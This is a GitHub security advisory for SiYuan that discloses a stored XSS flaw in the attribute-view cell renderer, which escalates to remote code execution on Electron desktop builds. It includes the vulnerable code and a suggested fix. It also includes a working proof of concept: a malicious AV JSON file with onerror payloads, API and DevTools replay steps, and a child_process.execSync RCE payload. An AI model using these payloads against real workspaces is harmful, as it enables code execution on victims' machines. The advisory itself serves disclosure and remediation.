Skip to content

SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()

Critical severity GitHub Reviewed Published Jun 3, 2026 in siyuan-note/siyuan

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

< 0.0.0-20260628153353-2d5d72223df4

Patched versions

0.0.0-20260628153353-2d5d72223df4

Description

Summary

The attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.

The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261.

Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.

Details

Affected:

  • HEAD 96dfe0b (v3.6.5, 2026-04-21)
  • Renderer sink: app/src/protyle/render/av/blockAttr.ts:68, genAVValueHTML(). The text, url, phone, and mAsset branches interpolate cell content raw.
  • Callsites piping genAVValueHTML into innerHTML: select.ts:124,229,346, cell.ts:791,913,1198, col.ts:455,656,1256, filter.ts:199,471,609,702, groups.ts:56,289,328,378, and blockAttr.ts:212.
  • Source: cell values returned by /api/av/getAttributeView. Backing store: data/storage/av/<avID>.json.
  • Write path: kernel/model/attribute_view.go, updateAttributeViewValue and (*Transaction).doUpdateAttrViewCell. No call to html.EscapeAttrVal, html.EscapeString, or util.EscapeHTML anywhere in the file.
  • Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322.

The sink

app/src/protyle/render/av/blockAttr.ts:68, with the unsafe branches highlighted:

export const genAVValueHTML = (value: IAVCellValue) => {
  let html = "";
  switch (value.type) {
    case "block":
      // escaped via escapeAttr — safe
      html = `<input ... value="${escapeAttr(value.block.content)}" ...>`;
      break;
    case "text":
      // value.text.content goes raw into a <textarea>
      html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`;
      break;
    case "url":
      // value.url.content goes raw into value="..." and href="..."
      html = `<input value="${value.url.content}" ...>
              <a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`;
      break;
    case "phone":
      // same pattern as url
      html = `<input value="${value.phone.content}" ...>
              <a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`;
      break;
    case "mAsset":
      value.mAsset?.forEach(item => {
        if (item.type === "image") {
          // item.content raw inside aria-label
          html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`;
        } else {
          // attributes escaped, but ${item.name || item.content} text-node is raw
          html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`;
        }
      });
      break;
    // other cases use escapeHtml / escapeAttr correctly
  }
  return html;
};

escapeHtml and escapeAttr already exist and are used in the block, select, and mSelect cases. They just aren't applied in the four branches above.

Callers assign the result to innerHTML. Example, app/src/protyle/render/av/select.ts:124:

if (item.classList.contains("custom-attr__avvalue")) {
    item.innerHTML = genAVValueHTML(cellValue);
}

The write path

A grep for any HTML-escape call in kernel/model/attribute_view.go returns nothing:

grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go
# (no output)

For comparison, the block-IAL write path at kernel/model/blockial.go:261 applies html.EscapeAttrVal(value). The AV cell write path is missing the equivalent.

Storage and sync

AV files live at data/storage/av/<avID>.json and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.

Suggested fix

The renderer-side fix is the more important one. escapeHtml and escapeAttr already exist in blockAttr.ts and already protect the block, select, and mSelect branches. Extend them to the rest of genAVValueHTML:

case "text":
  html = `<textarea ...>${escapeHtml(value.text?.content || "")}</textarea>`;
  break;
case "url":
  html = `<input value="${escapeAttr(value.url.content)}" ...>
          <a ${value.url.content ? `href="${escapeAttr(value.url.content)}"` : ""} ...>`;
  break;
case "phone":
  html = `<input value="${escapeAttr(value.phone.content)}" ...>
          <a ${value.phone.content ? `href="tel:${escapeAttr(value.phone.content)}"` : ""} ...>`;
  break;
case "mAsset":
  // escape item.name and item.content in the text-node positions, not just inside attributes

The mAsset image branch also interpolates item.content into the src attribute via getCompressURL. Worth rejecting javascript: and data: schemes for asset URLs while you're in there.

Backend side, defense in depth: in kernel/model/attribute_view.go:updateAttributeViewValue, call html.EscapeAttrVal(content) on the string-content cell types before persisting. This mirrors the existing protection in kernel/model/blockial.go:261. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.

PoC

Stand up SiYuan and drop a malicious AV file at workspace/data/storage/av/poc.json:

docker run -d --name siyuan-poc \
  -v ./workspace:/siyuan/workspace \
  -p 16806:6806 \
  b3log/siyuan:latest \
  --workspace=/siyuan/workspace --accessAuthCode=hunter2

Minimum viable AV JSON:

{
  "spec": 2,
  "id": "20260519999999-poctest",
  "name": "PocAV",
  "keyValues": [
    {
      "key": {"id": "...keyblok", "name": "Block", "type": "block"},
      "values": [{
        "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
        "type": "block", "isDetached": true,
        "block": {"id": "...row1blk", "content": "Row 1"}
      }]
    },
    {
      "key": {"id": "...keytext", "name": "TextField", "type": "text"},
      "values": [{
        "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
        "type": "text",
        "text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"}
      }]
    },
    {
      "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
      "values": [{
        "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
        "type": "url",
        "url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"}
      }]
    }
  ]
}

In a real attack the file gets there via sync, not by hand.

Confirm the API returns the cell content raw:

TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -s -X POST http://localhost:16806/api/av/getAttributeView \
  -H "Authorization: Token $TOKEN" \
  -d '{"id":"20260519999999-poctest"}' \
  | python3 -m json.tool | grep -E '"content":'

Output from my run on 2026-05-19:

"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"
"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"

</textarea> and "> come back literal, no escape.

In the Siyuan renderer's DevTools:

const res = await fetch('/api/av/getAttributeView', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: '20260519999999-poctest'})
});
const json = await res.json();

let textValue = null, urlValue = null;
for (const kv of json.data.av.keyValues) {
  for (const v of kv.values || []) {
    if (v.type === 'text' && v.text) textValue = v;
    if (v.type === 'url' && v.url) urlValue = v;
  }
}

// Replay the actual genAVValueHTML branches verbatim.
const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`;
const urlHTML  = `<input value="${urlValue.url.content}">`;

const div = document.createElement('div');
div.innerHTML = textHTML + urlHTML;

await new Promise(r => setTimeout(r, 250));

console.log({
  textMarkerFired: window.__siyuan_av_xss === 'FIRED',
  urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',
  imgsInDiv: div.querySelectorAll('img').length,
  title: document.title
});

Output from my run:

{
  "textMarkerFired": true,
  "urlMarkerFired": true,
  "imgsInDiv": 3,
  "title": "AV_TEXT_XSS_OK"
}

</textarea> and "> both broke out, the smuggled <img> elements ran their onerror handlers, the marker variables got set, document.title got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.

To turn it into RCE on Electron, swap the marker payload for:

<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/av/updateAttrViewCell. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.

References

@88250 88250 published to siyuan-note/siyuan Jun 3, 2026
Published by the National Vulnerability Database Jun 24, 2026
Published to the GitHub Advisory Database Jul 10, 2026
Reviewed Jul 10, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(21st percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Initialization of a Resource with an Insecure Default

The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure. Learn more on MITRE.

CVE ID

CVE-2026-54158

GHSA ID

GHSA-5xfx-xj4h-5p7r

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.